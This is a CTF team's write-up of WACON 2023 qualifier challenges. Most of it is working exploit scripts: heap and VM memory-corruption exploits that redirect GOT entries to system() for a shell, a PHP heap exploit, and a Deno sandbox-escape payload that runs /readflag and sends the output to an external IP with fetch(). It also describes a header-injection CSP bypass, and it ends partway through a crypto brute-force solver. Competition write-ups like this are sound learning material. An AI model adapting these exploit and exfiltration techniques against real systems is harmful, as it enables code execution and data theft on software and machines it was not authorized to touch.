# WACON 2023 Quals
**By perfect blue**
* 한국어 참가자 한 명에 외국인 세 명입니다. 한국인이 푼 문제는 한국어로 설명 적어두겠습니다.
## Pwn - flash-memory
Find CRC32 collision to overlap virtual address allocation
```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
unsigned int checksum(unsigned int seed) {
unsigned int ret = 0xffffffff;
unsigned char *ptr = (unsigned char *) &seed;
for (int i = 0; i < 4; i++) {
ret = ret ^ ptr[i];
for (int j = 0; j < 8; j++) {
unsigned int v2 = 0;
if (ret & 1) {
v2 = 0xEDB88320;
}
ret = v2 ^ (ret >> 1);
}
}
return ~ret;
}
typedef struct {
unsigned int target;
unsigned int start;
unsigned int end;
} SearchData;
void *search(void *arg) {
SearchData *data = (SearchData *) arg;
for (unsigned int brute = data->start; brute <= data->end; brute++) {
if (checksum(brute) == data->target) {
printf("Found: %u\n", brute);
return NULL;
}
}
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <number>\n", argv[0]);
return 1;
}
char *endptr;
unsigned int target = strtoul(argv[1], &endptr, 0);
if (*endptr != '\0') {
fprintf(stderr, "Invalid characters found: %s\n", endptr);
return 1;
}
const int num_threads = 8; // Set this according to your CPU cores
pthread_t threads[num_threads];
SearchData data[num_threads];
unsigned int range = 0xFFFFFFFF / num_threads;
for (int i = 0; i < num_threads; i++) {
data[i].target = target;
data[i].start = i * range;
data[i].end = (i + 1) * range - 1;
pthread_create(&threads[i], NULL, search, &data[i]);
}
for (int i = 0; i < num_threads; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
```
```python=
from pwn import *
def allocate_memory(priv_key, size):
r.sendlineafter(":> ", "2")
r.sendlineafter(":> ", priv_key)
r.sendlineafter(":> ", str(size))
def get_collision(value):
cmd = "./collide %d" % value
print(cmd)
r = process(cmd.split())
r.recvuntil("Found: ")
v = int(r.recvline())
r.close()
return v
def read_memory(index):
r.sendlineafter(":> ", "3")
r.sendlineafter(":> ", str(index))
def write_memory(index, data):
r.sendlineafter(":> ", "4")
r.sendlineafter(":> ", str(index))
r.send(data)
# r = process("./app")
r = remote("58.229.185.61", 10002)
data = r.recvuntil("======================================").replace("======================================", "").strip().split("\n")
virt_addrs = []
for i in data:
virt_addrs.append(int(i.split(" : ")[1], 16))
print(hex(virt_addrs[-1]))
collision = get_collision(virt_addrs[0] >> 12)
print(hex(collision))
allocate_memory(p32(collision), 0x88)
read_memory(0)
data = r.recv(0x38)
print("Dump")
for i in range(0, 0x38, 8):
print(hex(u64(data[i:i+8])))
libc_base = u64(data[0x18:0x20]) - 0x62200
print("Libc base", hex(libc_base))
system = libc_base + 0x50d60
# 0x30 is strlen
write_memory(0x30, p64(system))
r.sendlineafter(":> ", "1")
r.sendlineafter(":> ", "2")
r.sendlineafter(":> ", "cat flag")
r.sendlineafter(":> ", "4")
r.interactive()
```
## Pwn - dumb-contract
```python=
from pwn import *
import binascii
import ctypes
# Push inputData[offset}]
def pushInput(offset):
return "\x10" + p64(offset)
def halt():
return "\x20"
def add():
return "\x21"
def mult():
return "\x22"
def sub():
return "\x23"
def div():
return "\x24"
def lshift():
return "\x25"
def rshift():
return "\x26"
# Push code[offset]
def pushCode(offset):
return "\x30" + p64(offset)
def dup():
return "\x31"
# Memory[PopA] = PopB
def storeMemory():
return "\x40"
# Push Memory[PopA]
def loadMemory():
return "\x41"
def jmp(offset):
return "\x50" + p64(offset)
def jz(offset):
return "\x51" + p64(offset)
def jnz(offset):
return "\x52" + p64(offset)
def jg(offset):
return "\x53" + p64(offset)
def jge(offset):
return "\x54" + p64(offset)
def jl(offset):
return "\x55" + p64(offset)
def jle(offset):
return "\x56" + p64(offset)
# Stack => seed, new size
def resizeData():
return "\x60"
# Stack => seed, offset, data
def writeData():
return "\x61"
# Stack => seed, offset
def readData():
return "\x62"
# Push SHA256(memory[offset:offset+size])
# Stack => offset, size
def hashMemory():
return "\x70"
# Stack => contract address, input address, input size, output address, gas limit
def call():
return "\x81"
# Output value from stack
def out():
return "\x83"
def load_code(data):
r.sendlineafter("5. Exit","1")
r.sendlineafter(":", binascii.hexlify(data))
r.recvuntil("Loaded code at address: ")
addr = int(r.recvline().rstrip(),16)
log.info("address: "+hex(addr))
return addr
r = remote("58.229.185.49", "13337")
pause()
writer = ""
exception_trigger = ""
exception_trigger += pushInput(0)
exception_trigger += jnz(57) # absolute offset
exception_trigger += pushCode(0x38/8)
exception_trigger += pushCode(0)
exception_trigger += resizeData()
exception_trigger += pushCode(0x0)
exception_trigger += pushCode(0)
exception_trigger += resizeData()
exception_trigger += halt()
print(len(exception_trigger))
for i in range(1,3):
exception_trigger += pushCode(0x2)
exception_trigger += pushCode(i)
exception_trigger += resizeData()
# set up overlayed tree entry
# uncomment for debugging
# exception_trigger += pushCode(0xdeadbeef)
# exception_trigger += pushCode(0x28 / 8)
# exception_trigger += pushCode(0) #
# exception_trigger += writeData() #
exception_trigger += pushCode(0x11234455667788) # size
exception_trigger += pushCode(0x30/ 8)
exception_trigger += pushCode(0) #
exception_trigger += writeData() #
# offset 0x28 - addr
# offset 0x30 - size
# read out pointer at offset 8
exception_trigger += pushCode(0x8 / 8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += readData()
# read out pointer is at the top of the stack
exception_trigger += pushCode(0x28/8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += writeData()
# # use victim object for arbitrary read
# # stack ptr is at offset 8
# exception_trigger += pushCode(0x8 / 8) # offset
# exception_trigger += pushCode(1) # seed
# exception_trigger += readData()
# # stack ptr is at the top of the stack
# exception_trigger += pushCode(0x28/8) # offset
# exception_trigger += pushCode(0) # seed
# exception_trigger += writeData()
# then read libc leak at offset 0x48
exception_trigger += pushCode(0x48 / 8) # offset
exception_trigger += pushCode(1) # seed
exception_trigger += readData()
# TODO: adjust libc leak
exception_trigger += pushCode(ctypes.c_uint64(-0x29d90).value)
exception_trigger += add()
# exception_trigger += dup() # libc base
# # then read PIE leak at offset 0x58
exception_trigger += pushCode(0x58 / 8) # offset
exception_trigger += pushCode(1) # seed
exception_trigger += readData()
# offset 0x50040 gives pc control
# TODO: adjust pie base
exception_trigger += pushCode(ctypes.c_uint64(-0x28020).value)
# exception_trigger += pushCode(0xf000000000000000)
exception_trigger += add()
exception_trigger += pushCode(0x0000000000050298) # realloc @ got
exception_trigger += add()
exception_trigger += pushCode(0x28/8) # offset
exception_trigger += pushCode(0) # seed
exception_trigger += writeData()
# exception_trigger += pushCode(0xc0ffee)
# exception_trigger += pushCode(0)
# exception_trigger += pushCode(2) # seed of victim rbtree entry
# exception_trigger += writeData() #
# pop till libc addr
#exception_trigger += out()
# exception_trigger += pushCode(0xf000000000000000)
exception_trigger += pushCode(0x50d60) # system
exception_trigger += add()
#exception_trigger += pushCode(0xfeedfeed)
exception_trigger += pushCode(0)
exception_trigger += pushCode(1) # seed of victim rbtree entry
exception_trigger += writeData() #
# setup cmd for system
exception_trigger += pushCode(0x0068732f6e69622f)
exception_trigger += pushCode(0)
exception_trigger += pushCode(2) # seed
exception_trigger += writeData()
# trigger realloc
exception_trigger += pushCode(0x7)
exception_trigger += pushCode(2)
exception_trigger += resizeData()
exception_trigger += halt()
#pause()
exception_trigger_addr = load_code(exception_trigger)
writer += pushCode(0)
writer += pushCode(0)
writer += storeMemory()
writer += pushCode(391 - 2) # child gas
writer += pushCode(0)
writer += pushCode(8)
writer += pushCode(0)
writer += pushCode(exception_trigger_addr)
writer += call()
writer += pushCode(1)
writer += pushCode(0)
writer += storeMemory()
writer += pushCode(0xffffffff) # child gas
writer += pushCode(0)
writer += pushCode(8)
writer += pushCode(0)
writer += pushCode(exception_trigger_addr)
writer += call()
writer += halt()
# 82233 exception trigger
writer_addr = load_code(writer)
txheader = p64(writer_addr) + p64(0xffffffff)
# txheader = p64(exception_trigger_addr) + p64(0xffffffff)
r.sendline("2")
# r.sendline("4")
r.sendlineafter("Give me input bytes in hex:",binascii.hexlify(txheader))
r.interactive()
```
## Pwn - sorry
The first binary allows people to just read the flag.
The binary runs a custom VM. We can leak libc and exploit it easily.
```python=
from pwn import *
import os
"""
0 -> 34643 - set_register(a1, a2)
1 -> 34651 - get_register(a1)
2 -> 34657 - reg(a1) + reg(a2)
3 -> 34672 - set_reg(0, reg(a1) + reg(a2))
4 -> 34691 - reg(a1) - reg(a2)
5 -> 34706 - set_reg(0, reg(a1) - reg(a2))
6 -> 34725 - reg(a1) * reg(a2)
7 -> 34740 - set_reg(0, reg(a1) * reg(a2))
8 -> 34759 - get_mem(get_reg(a1))
9 -> 34770 - get_mem(a1)
10 -> 34776 - set_reg(0, get_mem(get_reg(a1))
11 -> 34791 - set_reg(0, get_mem(a1))
12 -> 34803 - set_mem(a1, a2)
13 -> 34811 - set_mem(a1, get_reg(a2))
14 -> 34824 - set_mem(get_reg(a1), get_reg(a2))
15 -> 34840 - syscall
16 -> 34845 - set_reg(a1, get_reg(a2))
17 -> 34858 - set_mem(get_reg(a1), a2)
"""
def get_regs(p):
regs = []
for i in range(16):
regs.append(int(p.recvline().strip().decode('utf-8').split()[-1]))
return regs
SET = 0
GET = 1
ADD = 3
SUB = 5
MUL = 7
LOAD_REG = 10
LOAD_IMM = 11
STORE_IMM_IMM = 12
STORE_IMM_REG = 13
STORE_REG_REG = 14
SYSCALL = 15
MOVE = 16
STORE_REG_IMM = 17
def mul_const(i, c):
return (
[SET, 1, c] +
[MUL, 1, i] +
[MOV, i, 0]
)
code = []
# leak heap
code += [LOAD_IMM, 2, 0]
code += [MOVE, 1, 0]
code += [SET, 0, 1]
code += [SYSCALL, 0, 0]
# load offset for lib leak
code += [SET, 1, 1]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]
# leak lib
code += [LOAD_REG, 1, 0]
code += [MOVE, 1, 0]
code += [SET, 0, 1]
code += [SYSCALL, 0, 0]
# read offset for heap write
code += [SET, 1, 2]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]
# read value for heap write
code += [SET, 1, 3]
code += [SET, 0, 2]
code += [SYSCALL, 0, 0]
# debug check
# code += [SET, 0, 1]
# code += [SYSCALL, 0, 0]
# do heap write
code += [STORE_REG_REG, 2, 3]
# trigger
code += [SYSCALL, 0, 0]
p = remote("58.229.185.61", 10001)
p.recvline()
code = bytes(code)
p.send(code)
heap_leak = get_regs(p)[1]
heap_leak = heap_leak * 2 + 1
heap_leak = heap_leak * 2 + 2
heap_leak += 0x10
print(hex(heap_leak))
p.send(str((0x2aa0//8) * 2 + 1).encode() + b"\n")
lib_leak = get_regs(p)[1]
lib_leak = lib_leak * 2 + 1
lib_leak = lib_leak * 2 + 2
print(hex(lib_leak))
target = lib_leak + 0x1290
p.send(str(((0x2aa0 + 0x18)//8) * 2 + 1).encode() + b"\n")
p.send(str(target * 2 + 1).encode() + b"\n")
p.interactive()
```
## Pwn - heaphp
```php=
<?php
function str_repeat($c, $length) {
$ret = "";
for ($i = 0; $i < $length; $i++) {
$ret .= $c;
}
return $ret;
}
// Manually implement str_pad without using the built-in function
function str_pad($input, $pad_length, $pad_string, $pad_type) {
$diff = $pad_length - strlen($input);
$pad = '';
for ($i = 0; $i < $diff; $i++) {
$pad .= $pad_string;
}
if ($pad_type == STR_PAD_LEFT) {
return $pad . $input;
} else if ($pad_type == STR_PAD_RIGHT) {
return $input . $pad;
} else {
return $pad . $input . $pad; // STR_PAD_BOTH is not perfectly handled, but this is a simple approximation
}
}
// Calculate strlen without using the built-in function
function strlen($str) {
$length = 0;
while (isset($str[$length])) {
$length++;
}
return $length;
}
function decToHex($dec) {
$hexDigits = "0123456789abcdef";
$hex = "";
do {
$remainder = $dec % 16;
$hex = $hexDigits[$remainder] . $hex;
$dec = ($dec - $remainder) / 16;
} while ($dec > 0);
return $hex;
}
function hexdump($data) {
$offset = 0;
$length = 0;
// Manually calculate the length of the string
for ($i = 0; isset($data[$i]); $i++) {
$length++;
}
while ($offset < $length) {
// Print the offset in the left-most column
$offsetStr = decToHex($offset);
echo str_pad($offsetStr, 8, '0', STR_PAD_LEFT) . " ";
// Print 16 bytes as hexadecimal numbers
for ($i = 0; $i < 16; $i++) {
if ($i + $offset < $length) {
$hexStr = decToHex(ord($data[$i + $offset]));
echo str_pad($hexStr, 2, '0', STR_PAD_LEFT) . " ";
} else {
// If there's no data, fill in spaces
echo " ";
}
}
echo " "; // A single space as a separator between hex and ASCII data
// Print ASCII characters
for ($i = 0; $i < 16; $i++) {
if ($i + $offset < $length) {
$char = $data[$i + $offset];
if (ord($char) >= 32 && ord($char) <= 126) {
// If the character is printable
echo $char;
} else {
// If the character is not printable
echo ".";
}
} else {
// If there's no data, break the loop
break;
}
}
echo "\n"; // New line
$offset += 16; // Move to the next 16-byte chunk
}
}
function strToQwordLong($str, $off) {
$qword = 0;
for ($i = 0; $i < 8; $i++) {
$byte = ord($str[$off + $i]);
$qword |= $byte << (8 * $i);
}
return $qword;
}
function chr($code) {
// Reduce the value to fit within an 8-bit byte
$code = $code % 256;
// Manually create ASCII map as a string using \x escape sequences
$asciiMap = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" .
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F" .
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F" .
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F" .
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F" .
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F" .
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F" .
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F" .
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F" .
"\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF" .
"\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF" .
"\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF" .
"\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF" .
"\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF" .
"\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF";
// Locate the character by its ASCII code
return $asciiMap[$code];
}
for ($i = 0; $i < 16; $i++) {
add_note("A", "/bin/sh"); // 0
}
$idx = add_note(str_repeat("A", 30), str_repeat("B", 48));
edit_note($idx, str_repeat("C", 48));
$idx3 = add_note("A", "A"); // 4
$idx2 = add_note("A", "A"); // 5 should be overlapped with 4's content
$heap = view_note($idx);
hexdump($heap);
$heap = strToQwordLong($heap, 0x28);
echo $heap;
$libc_off = $heap + 0x238df38;
echo "\n";
echo $libc_off;
echo "\n";
echo $heaphp;
// Fix freelist
delete_note($idx3);
delete_note($idx2);
view_note($idx);
edit_note($idx, "AAAAAAA");
edit_note($idx, "AAAAAA");
edit_note($idx, "AAAAA");
edit_note($idx, "AAAA");
edit_note($idx, "AAA");
edit_note($idx, "AA");
edit_note($idx, "A");
edit_note($idx, "\x00");
$idx2 = add_note("B", "B");
$idx3 = add_note("C", "C");
// Find leak
function set_addr($idx, $addr) {
$temp = "";
for ($i = 0; $i < 7; $i++) {
$temp .= chr(($addr >> ($i * 8)) & 0xff);
}
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB" . $temp);
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB");
edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x08");
}
$heap_base = $heap - 0x30d0 + 0x200000 + 0x3000;
for ($i = 0; $i < 0x30; $i++) {
$test = $heap_base + $i * 0x1000 + 0x11e0;
echo "\n";
echo $test;
echo "\n";
set_addr($idx, $test);
//while(1) {}
$arb_read = view_note($idx2);
hexdump($arb_read);
if ($arb_read == "\x48\x83\xC4\x28\x4D\x89\xE8\x89") {
echo "\nFOUND\n";
break;
}
}
$heaphp = $heap_base + $i*0x1000;
$strlen_got = $heaphp + 0x4018;
set_addr($idx, $strlen_got);
$arb_read = view_note($idx2);
$libc = strToQwordLong($arb_read, 0x0) - 0x19d960;
$system = $libc + 0x50d60;
echo "\nLIBC\n";
echo $libc;
echo "\n";
// Arb write
$addr = "";
for ($i = 0; $i < 8; $i++) {
$addr .= chr(($system >> ($i * 8)) & 0xff);
}
edit_note($idx2, $addr);
echo "Should win";
add_note("cat /flag.txt", "cat /flag.txt")
?>
```
```python=
from pwn import *
import sys
r = remote("58.229.185.47", 1337)
a = open(sys.argv[1], "r").read()
r.send(a)
r.send("\n-- EOF --\n")
r.recvuntil("Should", timeout=1)
r.sendline("ls")
r.interactive()
```
## Web - warmup-revenge
- You put 0x0d in the header returned for download to get HTML injection. php rejects the content-disposition header cuz it has 0x0d so the downloaded file is now executed as HTML
- Bypass CSP by putting a script src to another download file, that has the JS you want to execute
## Web - dino jail
```python=
INITIAL_PAYLOAD = """
eval(atob(Deno.args[0]).slice(100));
"""
INITIAL_PAYLOAD += ";"*(100 - len(INITIAL_PAYLOAD))+"\n"*10
INITIAL_PAYLOAD += """
const file = Deno.openSync("/dev/ptmx", {read:true, write: true})
const file2 = Deno.openSync("/dev/ptmx", { read: true, write: true })
const file3 = Deno.openSync("/dev/ptmx", { read: true, write: true })
file.write(new TextEncoder().encode("y\\n".repeat(10000)))
let deet = new Deno.Command("/readflag").outputSync().stdout
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex())
"""
import base64
from pwn import *
deet = base64.b64encode(INITIAL_PAYLOAD.encode())
print(deet)
r = remote("58.229.185.56", 2323)
r.sendlineafter("t: ", deet)
r.interactive()
```
## Web - mosaic



## Rev - Baby Artist
The binary is written with Piet, which is a 2D programming language. The binary checkes some constraints, and each constraint calculation ends with NOT op. Therefore, we fetched every NOT op and then did brute-force byte by byte with trace logs as side-channel.
```python=
from pwn import *
from string import printable
from itertools import product
from tqdm import tqdm
alph = printable.rstrip()
context.log_level = "warning"
def check(res):
for i in range(len(res)):
if res[i] == "action: not":
if res[i-3].split(" ")[4] != "0":
return i
return 100000000000
def checkinput(inp):
assert len(inp) == 35
r = process(["./npiet", "-v", "-t", "cropped.png"])
r.sendline(inp.encode())
res = r.recvall()
r.kill()
res = res.decode().splitlines()
return check(res)
known = [""] * 35
for ro in range(35):
bestval = -1
bestchar = ""
bestindex = -1
for i in range(35)[::-1]:
if known[i] != "": continue
guess = known.copy()
for c in alph:
guess[i] = c
val = checkinput(''.join(e if e else "*" for e in guess))
#print(c, val)
if val >= bestval:
print(ro, i, "New best", val, c)
bestchar = c
bestval = val
bestindex = i
print(bestindex, bestchar)
known[bestindex] = bestchar
print(''.join(e if e else "*" for e in known))
```
## Rev - Adult Artist
Every instruction is invertible, so run code backwards and reverse every instruction.
```python=
from pwn import *
def rotate_left(n, bits):
return ((n << bits) | (n >> (32 - bits))) & 0xFFFFFFFF
def rotate_right(n, bits):
return ((n >> bits) | (n << (32 - bits))) & 0xFFFFFFFF
jmp_table = """.text:08049062 jpt_80491FF dd offset loc_8049206, offset loc_804CCD3, offset loc_804D921
.text:08049062 dd offset loc_804E565, offset loc_804F391, offset loc_8050172 ; jump table for switch statement
.text:08049062 dd offset loc_8051147, offset loc_80520E4, offset loc_8052F53
.text:08049062 dd offset loc_8053E01, offset loc_8054C34, offset loc_8055A36
.text:08049062 dd offset loc_805680D, offset loc_8057603, offset loc_8058417
.text:08049062 dd offset loc_80592D0, offset loc_805A26C, offset loc_805B1A8
.text:08049062 dd offset loc_805C189, offset loc_805D214, offset loc_805E3E4
.text:08049062 dd offset loc_805F960, offset loc_8061309, offset loc_8062EBF
.text:08049062 dd offset loc_8064ABC, offset loc_8066618, offset loc_8068236
.text:08049062 dd offset loc_8069F4F, offset loc_806BDAA, offset loc_806DF5B
.text:08049062 dd offset loc_8070050, offset loc_8071F38, offset loc_8073F2C
.text:08049062 dd offset loc_8075B49, offset loc_80774F2, offset loc_8078FE6
.text:08049062 dd offset loc_807AD9E, offset loc_807CB59, offset loc_807E805
.text:08049062 dd offset loc_8080549, offset loc_80821A4, offset loc_8083F68
.text:08049062 dd offset loc_8085D9D, offset loc_8087D1A, offset loc_8089BCC
.text:08049062 dd offset loc_808B60B, offset loc_808D4D1, offset loc_808FB51
.text:08049062 dd offset loc_8092136, offset loc_8094763, offset loc_8096AA0
.text:08049062 dd offset loc_8098C19, offset loc_809AEBA, offset loc_809D252
.text:08049062 dd offset loc_809F678, offset loc_80A1B4D, offset loc_80A3CE6
.text:08049062 dd offset loc_80A5B61, offset loc_80A7B67, offset loc_80A98CB
.text:08049062 dd offset loc_80AB6D0, offset loc_80AD4F1, offset loc_80AF427
.text:08049062 dd offset loc_80B1354, offset loc_80B3388, offset loc_80B5091
.text:08049062 dd offset loc_80B71BB, offset loc_80B93AE, offset loc_80BB646
.text:08049062 dd offset loc_80BD6D5, offset loc_80BF5F3, offset loc_80C145A
.text:08049062 dd offset loc_80C306D, offset loc_80C4C18, offset loc_80C6942
.text:08049062 dd offset loc_80C8611, offset loc_80CA20A, offset loc_80CBCF4
.text:08049062 dd offset loc_80CD4B2, offset loc_80CEE78, offset loc_80D0865
.text:08049062 dd offset loc_80D21D7, offset loc_80D3B7D, offset loc_80D5074
.text:08049062 dd offset loc_80D6073, offset loc_80D721D, offset loc_80D841C
.text:08049062 dd offset loc_80D95BC, offset loc_80DA6B8, offset loc_80DB6CA
.text:08049062 dd offset loc_80DC6FE, offset loc_80DD6A4, offset loc_80DE58B
.text:08049062 dd offset loc_80DF456, offset loc_80E02DF, offset loc_80E114C
.text:08049062 dd offset loc_80E211C, offset loc_80E30F3, offset loc_80E413A
.text:08049062 dd offset loc_80E51A0, offset loc_80E5DEC""".split()
dump = open("dump", "r").read().split("\n")
binary = open("masterpiece", "r").read()
def get_relevant_instructions(start_addr):
ret = []
terminate = "jmp 0x80e69f5"
start = False
i = 0
while i < len(dump):
line = dump[i]
current_addr = int(line.strip().split()[0][:-1], 16)
if current_addr == start_addr:
start = True
if start:
if "vfmaddsub132ps" in line:
i += 1
continue
if terminate in line:
return ret
if "jmp" in line:
i += 1
continue
if "cl, al" in line:
assert "al, byte ptr [ecx + 135168024]" in dump[i+1]
i += 1
ret.append("lookup al")
elif "cl, ah" in line:
assert "ah, byte ptr [ecx + 135168024]" in dump[i+1]
i += 1
ret.append("lookup ah")
else:
ret.append("\t".join(line.split("\t")[1:]))
i += 1
assert False
def solver(instructions, target_value):
eax = target_value
for ins in instructions[::-1]:
if ins == "lookup al":
new_al = inverse_lookup[eax & 0xff]
eax = (eax ^ (eax & 0xff)) | new_al
elif ins == "lookup ah":
new_ah = inverse_lookup[(eax >> 0x8) & 0xff]
eax = (eax ^ (eax & 0xff00)) | (new_ah << 0x8)
elif ins.startswith("sub"):
imm = int(ins.split(", ")[1])
eax = (eax + imm) & 0xffffffff
elif ins.startswith("add"):
imm = int(ins.split(", ")[1])
eax = (eax - imm) & 0xffffffff
elif ins.startswith("bswap"):
eax = ((eax & 0xff) << 24) | ((eax & 0xff00) << 8) | ((eax & 0xff0000) >> 8) | ((eax & 0xff000000) >> 24)
elif ins == "dec\teax":
eax = (eax + 1) & 0xffffffff
elif ins == "inc\teax":
eax = (eax - 1) & 0xffffffff
elif ins.startswith("rol"):
if ", " not in ins:
imm = 1
else:
imm = int(ins.split(", ")[1])
eax = rotate_right(eax, imm)
elif ins.startswith("ror"):
if ", " not in ins:
imm = 1
else:
imm = int(ins.split(", ")[1])
eax = rotate_left(eax, imm)
elif ins.startswith("xor"):
imm = int(ins.split(", ")[1])
eax = eax ^ imm
elif ins == "not\teax":
eax = eax ^ 0xffffffff
else:
print("Unsupported instruction")
print(ins)
exit()
return eax
jmp_locs = []
for i in jmp_table:
if i.startswith("loc_"):
jmp_locs.append(int(i.replace("loc_", "").replace(",", ""), 16))
print(hex(jmp_locs[-1]))
targets = binary[0xa0118:0xa0118+400]
targets = [u32(targets[i:i+4]) for i in range(0, len(targets), 4)]
lookup_table = binary[0xa0018:0xa0018+256]
lookup_table = [u8(lookup_table[i]) for i in range(256)]
inverse_lookup = [None]*256
for i in range(256):
inverse_lookup[lookup_table[i]] = i
solutions = []
for i in range(100):
instructions = get_relevant_instructions(jmp_locs[i])
target_value = targets[i]
solution = solver(instructions, target_value)
solutions.append(solution)
sol_string = ""
for i in solutions:
sol_string += p32(i)
with open("sol.bin", "wb") as f:
f.write(sol_string)
print(solutions)
```
## Rev - Terrible Flavor
리버싱을 해보면 퍼즐을 푸는 문제이고, 퍼즐은 nxn 격자 형태로 주어지는 것을 알 수 있습니다.
시작점이 주어지며, 해당 시작점으로부터 가로 혹은 세로로 선을 이어나가며 폐곡선을 완성해야 합니다.
또한 격자점마다 숫자가 적혀있는 경우가 있습니다. 이 경우 두 가지 타입(1/2)이 있습니다.
1. 폐곡선의 꼭지점이여야하고, 이 꼭지점에 연결된 두 개의 선의 길이의 합이 적혀있는 숫자여야 함
2. 어떤 선의 중간에 위치해야하고 (꼭지점은 안 됨), 해당 선의 길이가 적혀있는 숫자여야 함
퍼즐 보드는 init_array의 함수 중 하나에서 초기화되며, 총 3개의 보드가 있습니다. 이를 바탕으로 그냥 손으로 풀었습니다.
입력은 폐곡선의 꼭지점을 하나씩 적어서 이어붙이면 됩니다. 11x11 보드의 경우 x나 y가 10인 경우가 있는데 `:` (chr(58))을 사용하면 됩니다.
1. `1011212050554541313212142423333505`
2. `40412122424353507071616373744445757666675756464737362627171606053533232404031312020111`
3. `1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303`
플래그는 이를 이어붙인 `WACON2023{1011212050554541313212142423333505_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303}` 입니다.
## Crypto - PSS
총 2^17개의 케이스가 주어져있기 때문에, `master_seed`를 하나씩 브루트 포스 하면서 2^17개의 케이스 중 1-level node의 값이 `master_seed`로부터 유도된 값과 일치하는지 확인하면 됩니다.
```python=
from hashlib import sha256
from tqdm import tqdm
import itertools
def cascade_hash(msg, cnt, digest_len):
assert digest_len <= 32
msg = msg * 10
for _ in range(cnt):
msg = sha256(msg).digest()
return msg[:digest_len]
def seed_to_permutation(seed):
permutation = ''
msg = seed + b"_shuffle"
while len(permutation) < 16:
msg = cascade_hash(msg, 777, 32)
msg_hex = msg.hex()
for c in msg_hex:
if c not in permutation:
permutation += c
return permutation
N = 8
merkle_proof_indexes = {
0 : [2,4,8],
1 : [2,4,7],
2 : [2,3,10],
3 : [2,3,9],
4 : [1,6,12],
5 : [1,6,11],
6 : [1,5,14],
7 : [1,5,13]
}
with open('pss_data', 'rb') as f:
data = f.read()
clen = 5 * 3 + 1 + 8
print(len(data) >> 17)
assert len(data) == (2 ** 17) * clen
dics = [dict(), dict()]
for i in range(2 ** 17):
chunk = data[clen * i:clen * (i + 1)]
if chunk[15] < 4:
dics[1][chunk[:5]] = i
else:
dics[0][chunk[:5]] = i
for seed in tqdm(itertools.product(range(256), repeat=5), total=256**5):
seed = bytes(seed)
seed_len = 5
h = cascade_hash(seed, 123, 2 * 5)
idx = None
if h[:5] in dics[0]:
idx = dics[0][h[:5]]
elif h[5:] in dics[1]:
idx = dics[1][h[5:]]
if idx is None:
continue
chunk = data[clen * idx:clen * (idx + 1)]
seed_tree = [None] * (2*N - 1)
seed_tree[0] = seed
for i in range(N-1):
h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
